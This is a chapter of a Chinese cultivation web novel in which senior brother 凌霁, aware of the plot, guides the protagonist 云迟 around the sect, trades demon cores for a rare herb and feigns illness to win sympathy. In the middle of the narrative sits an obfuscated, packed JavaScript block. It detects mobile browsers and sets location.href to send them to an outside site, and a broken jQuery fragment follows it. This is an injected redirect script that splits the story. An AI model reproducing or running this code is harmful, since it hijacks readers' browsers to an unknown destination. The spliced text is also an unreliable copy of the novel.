5. 可怜兮兮龙傲天

作品:《龙傲天饲养手册

    “师兄!”云迟停了动作,朝着凌霁跑过去,“你怎么了?身体不舒服吗?”


    “没事。方才歇了一会,感觉好多了。”凌霁笑着看他,“你呢?刚刚在做什么?”


    明明就刚才这一会儿,师兄好像变得不太一样了。云迟挠了挠脑袋,莫名觉得心口像抹了层蜜。


    “只是拿着树枝瞎比划一通罢了。”


    瞎比划?


    凌霁在心中自嘲地冷笑。


    他尚未开始修炼,便已经胜过了绝大多数初学者,甚至有些人,握了一辈子剑也挥不出方才那样的剑气。到了男主嘴里,竟成了瞎比划。


    “让师兄见笑了......”


    凌霁伸手揉了揉他的头发,“你本就是贪玩的年纪,倒也无妨。月痕峰逛完了,不如去琼瑰峰走走?”


    “琼瑰峰,就是方才元冶师兄提到的吗?”


    “是,不过漫蝶师叔性子古怪,你若是见到她了,记得避远些。”凌霁召来惊雪。


    云迟似懂非懂地上了剑,凌霁站在他身后,惊雪晃晃悠悠地便出发了。


    突然在半空中,惊雪猛地一个颠簸,云迟下意识地伸手去抓凌霁,又被理智死死制住,紧急收了手。


    谁料他的手腕突然被一直温暖的手牵住了。


    “害怕就抓着我。”凌霁温柔的声音从身后传来,被风吹得有些凌乱。


    云迟耳尖悄悄染上了一片红霞。


    凌霁注意到了,唇角微扯,显得有些讽刺。


    一路无话。


    琼瑰峰到了。


    凌霁轻车熟路地带着云迟进了界门。


    同横秋峰的冷清萧瑟很不一样,琼瑰峰上弟子数量是六峰之中最多的,同时,由于琼瑰峰主丹,山上更是种满了各式各类的草药,琳琅满目。


    “跟着我走,勿要乱踩。”凌霁牵着云迟的手腕没松。


    云迟还有点不好意思,一个没留神,脚下步子一歪,险些踩到一根草。


    他愣神,看了看脚边,像是棵野草,和旁边颜色艳丽的植株相比很是不显眼,舒了口气。


    突然耳边传来一声尖叫:“啊啊啊啊啊啊啊啊啊你快把脚挪开!”


    云迟被吓得一动不敢动,僵着身子往声源方向看去,便见一个青年迈着狂野的步子飞过来,又在他身前猛地一蹲,小心翼翼地捧住了那棵草,仔细端详一番,见其没受到任何损伤,才大喘一口气,撑着膝盖站起身来。


    “剑修?”那青年皱着眉将他从头到脚打量一番,“有些眼生。”


    云迟不知道该如何回应,毕竟他未来应当是要走上剑道的,但现如今又的的确确只能算是个凡人,只好求助般地望向凌霁。


    “秦敛师弟,忘了介绍,这是我的小师弟云迟,目前尚未入道。”凌霁把云迟往自己身后拉了拉,“云迟,见过你秦敛师兄。”


    “见过秦敛师兄。”云迟乖乖地打招呼,脑子里却有些失神地想道:师兄的指尖......有点凉。


    凌霁发话后,秦敛的眉头松了些,但眼角还是透着嫌弃,手指了指界门处,一遍嘀咕道:“那不还是剑修?”


    云迟顺着秦敛指尖的方向看过去,才发现那儿立着块木牌,飞扬的字迹写着“楼纾与狗不得入内!”


    云迟摸了摸脑袋:楼纾......好像是二师姐的名字。


    秦敛突然意识到什么,拍了下脑门,用灵力削去前两个字,然后用“剑修”二字覆盖住了原先的“楼纾”。


    “这样严谨多了。”秦敛看着自己的杰作,点了点头。


    剑修与狗不得入内。


    云迟一时失语,尴尬从天灵盖直往下灌。


    “哦对,”秦敛对着凌霁补充道,“你不算。”


    凌霁无奈地笑了笑,“今日是我冒犯了,本只是想带着新来的小师弟熟悉一下宗门内的环境,没想到险些踩坏了师弟的华纤草。这些高阶魔核,就当是给师弟你赔罪了。”


    说着,从储物戒中取出了三颗墨色晶石,递给秦敛。


    递出魔核的时候,云迟脑中闪过一丝尖锐的刺痛,只是瞬间又消失了,快得仿佛是云迟的错觉。


    秦敛没跟凌霁客套,径自收下,转而望向云迟,痛心疾首道:“喂,琼瑰峰不欢迎穷鬼,尤其是穷鬼里的剑修,懂?”


    只是话音没落地,他若有所思地看了眼凌霁,“你师兄除外,他是个异类。鬼知道他一个剑修为什么比我们堂堂丹修还有钱。”


    语气颇有点忿忿不平。


    云迟的心思成功歪向一边。


    他悄悄瞥了眼凌霁。


    师兄很有钱吗?


    “不过看在这些魔核的份上,这株华纤草就送你啦!就当我的见面礼了。”秦敛撇撇嘴,直起身,“十日之后记得过来取。”


    凌霁点头示意云迟收下。


    “这可是好东西,便宜你了。”秦敛语气酸酸的,“我废了好大力气才养活的。”


    华纤草,服用之后两个时辰内,可压制体内一切毒素。


    虽说不能解毒,但紧要关头却是保命的好东西。


    是难培育了些,但用三颗高阶魔核来换还是绰绰有余的。


    秦敛在一边得了便宜还卖乖,却把不知情的云迟唬得团团转,还真以为他忍痛割了多大的爱呢,一脸动容地点头,“谢过秦敛师兄。”


    秦敛神情颇有些微妙,但还是没脸没皮地应了,“你倒识相。不像你那个师姐......”


    秦敛一提起楼纾就忍不住磨了磨后槽牙,简直恨得牙痒痒。


    云迟云里雾里地搞不清楚状况。


    这位二师姐,拉仇恨的实力这么强吗?


    云迟不清楚,但凌霁却是听了些风声。


    据传言,楼纾一年离开宗门前夕,把琼瑰峰可谓洗劫一空,连根野草都没放过,只留了张敷衍至极的欠条。


    随后一走便是一年,踪迹全无。直到前些日子才终于有了些音信,说是已经启程回宗了。


    “对了,你那边有楼纾的消息了吗?”秦敛佞笑着。


    凌霁看了看他的表情,顿了顿,说:“暂时还没有。”


    神色坦然,毫无异样。


    言罢,牵着云迟的手腕道,“我二人便不久留了,今日实在是叨扰了。”


    瞬间,二人便消失在了琼瑰峰。


    身子一晃,二人便回到了横秋峰,凌霁松开了牵着云迟的手,引着他往朝来殿走去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941654|192952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    云迟有片刻的怔忪,手腕上冰凉的触感仿佛还在,他突然觉得有些空落落的。


    他皱着眉,死死盯着手腕,猛然意识到,他手腕上的桃花印记不见了。


    难道是睡觉的时候蹭掉了?


    云迟有点失落,毕竟这是师兄送给他的第一个礼物呢。


    凌霁察觉到云迟没跟上来,回过身询问道:“怎么了?”


    云迟掩耳盗铃般的垂下手臂,慌乱道:“啊......哦,没、没什么,手上被蚊子咬了个包,没事的。”


    这借口找得真烂。


    云迟在心中暗暗唾弃。也不知道师兄信了没有。


    看师兄的表情,应该是信了的吧。他讪讪想到。


    凌霁云淡风轻地点头,“山上蚊子是有些多。” 他转回了身子,眼眸中神思不明。


    看起来男主已经察觉到手腕上的阵印消失了。


    紧接着,凌霁似是不经意间提到:“对了,你尚未引气入体,因而我赠你的阵印无法长久在你皮肤上停留,等你炼气后,便能再看到它了。”


    “噢!”云迟听完,语气都上扬了几分,“那我何时才能引气入体啊?”


    “师尊也不知何时才能回来,今日也不早了,你先好好休息,等明日我亲自教你。”


    这话当然是唬他的,那个护身阵早就被雷劫劈掉了。等到他引气入体了,他再暗中给他补上便是。


    男主由他亲自来教,有些事他便也不需知道了。


    譬如那枚阵印,那道雷劫,以及——宗门魂印。


    几乎就在这个念头闪过的一瞬间,那种刺痛再一次席卷全身。


    但凌霁强忍着阵痛,停下步子,若无其事地唤了声“云迟”。


    云迟听出了凌霁声音里的虚弱,着急忙慌地跟上来,“师兄,怎么了?”


    “无碍,只是突然心口一阵刺痛,有些走不动路了。”


    “啊?那、那我搀着师兄走?” 云迟犹豫道。


    “会累着师弟吗?”凌霁虚弱道。


    云迟赶忙答道:“不会!师兄我扶着你走!”


    “那就辛苦师弟了。”凌霁从善如流。


    心口的刺痛在云迟手搭上来的一瞬间消失了,凌霁在心中嘲讽地冷笑,面上却不露声色。


    堂堂天道倒也不过如此。


    从殿门外到卧房也不过几步路,云迟扶着凌霁坐上了卧榻,焦眉愁眼地问:“师兄还痛吗?”


    凌霁没正面回答,只是云淡风轻地说:“习惯了。”


    云迟心口发紧,满眼心疼地望着自家师兄。


    平心而论,凌霁这些招数挺拙劣的。只不过哄一个未经人事的云迟算是绰绰有余了。


    凌霁把云迟哄回了房。


    天色也暗了,月光冷冷清清撒下来,雾气淋湿了漫山的松林。


    破天荒的,凌霁感受到一丝久违的睡意。


    从这具身体五岁那年,他窥见了那本书的剧情,便在没能睡过一个完整的觉。


    横秋峰上每一个冷清的夜晚,都是在无尽的吐息与修炼中熬过去的。


    他有多久没好好松下来,看看这片山了。


    数不清了。